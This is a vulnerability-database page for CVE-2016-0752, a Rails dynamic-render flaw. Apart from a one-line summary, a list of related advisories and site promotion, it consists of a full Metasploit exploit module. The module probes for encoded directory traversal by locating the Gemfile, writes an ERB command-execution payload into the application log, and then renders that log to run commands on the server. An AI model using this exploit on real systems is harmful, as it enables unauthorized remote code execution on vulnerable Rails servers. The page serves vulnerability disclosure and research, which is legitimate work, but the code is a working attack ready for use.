Lucene search
K

Rails Dynamic Render 远程命令执行漏洞 (CVE-2016-0752)

🗓️ 27 Jan 2016 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 204 Views

Rails Dynamic Render Remote Command Execution (CVE-2016-0752). Dynamic template rendering in Rails controllers can lead to remote code execution and local file inclusion vulnerabilities. Upgrade Rails or refactor controllers

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ruby on Rails Dynamic Render File Upload Remote Code Execution
15 Oct 201600:00
zdt
GithubExploit
Exploit for Path Traversal in Rubyonrails Rails
26 Jan 201615:25
githubexploit
ATTACKERKB
CVE-2016-2097
7 Apr 201600:00
attackerkb
ATTACKERKB
CVE-2014-0130
7 May 201400:00
attackerkb
ATTACKERKB
CVE-2016-0752
16 Feb 201600:00
attackerkb
FreeBSD
rails -- multiple vulnerabilities
25 Jan 201600:00
freebsd
BDU FSTEC
The vulnerability of the Ruby on Rails software platform, which allows a hacker to read arbitrary files
17 Mar 201600:00
bdu_fstec
Cent OS
ruby193 security update
21 May 201417:54
centos
Circl
CVE-2014-0130
30 Jun 201821:50
circl
Circl
CVE-2016-0752
17 Oct 201600:00
circl
Rows per page

                                                require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  @@trav_string = '%5c%2e%2e%2f'

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Dynamic Render Directory Traversal + Code Exec',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in the explicit render
        method when leveraging user parameters.
        This module has been tested across multiple versions of RoR 3.x and RoR 4.x
        The technique used by this module requires the specified endpoint to be using
        dynamic render paths, such as the following example:
        def show
          render params[:id]
        end
      },
      'Author'         =>
        [
          'John Poulin (forced-request)'
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'ruby',
      'Arch'           => ARCH_CMD,
      'Payload'        => 
      {
        'Compat'          =>
          {
            'PayloadType'   => 'cmd',
            'RequiredCmd' => 'generic perl telnet'
          }
      },
      'Privileged'     => true,
     'Targets'        =>
      [
        [ 'CMD',
          {
          'Arch' => ARCH_CMD,
          'Platform' => 'unix'
          }
        ]
      ],
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/user"]),
        OptString.new('LOGFILE', [ true, 'The environment\'s log file', 'log%2fdevelopment%2elog']),
        OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT'] ]),
        OptString.new('COOKIES', [ false, 'HTTP headers, including auth headers and cookies', ''])
      ], self.class)
  end

  def vuln
    desired_location = 'Gemfile'

    # Initial payload
    p = desired_location

    # Search for depth up to 10 to detect if server is vuln
    11.times do |i|
      res = send_request_cgi({
        'uri'       =>  normalize_uri(datastore['URIPATH'], p),
        'method'    =>  datastore['HTTP_METHOD'],
        'cookie'    =>  datastore['COOKIES']
      }, 60)

      # Check if response contains Gemfile info
      if res.body.match(/^gem /)
        @depth = i
        print_good("It appears that this application is vulnerable")
        return true
      end

      # Prepare next payload
      p = @@trav_string + p
    end
    return false
  end

  def send_payload
    p = datastore['LOGFILE']
    (@depth).times do |i|
      p = @@trav_string + p
    end

    p = p + "?p=%3c%25%20%60" + CGI::escape(payload.encoded) + "%60%25%3e"
    print_status("Sending payload: #{p}")

    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], p),
      'method'    =>  datastore['HTTP_METHOD'],
      'cookie'    =>  datastore['COOKIES']
    }, 60)
  end

  def render_log
    p = datastore['LOGFILE']
    (@depth).times do |i|
      p = @@trav_string + p
    end

    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], p),
      'method'    =>  datastore['HTTP_METHOD'],
      'cookie'    =>  datastore['COOKIES']
    }, 60)
  end

  #
  # Send the actual request
  #
  def exploit
      print_status("Sending initial request to detect exploitability")

      # Check if vulnerable
      if vuln
        print_status("Attempting to exploit")
        
        send_payload
      else
        print_error("Application does not appear vulnerable")
      end
  end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation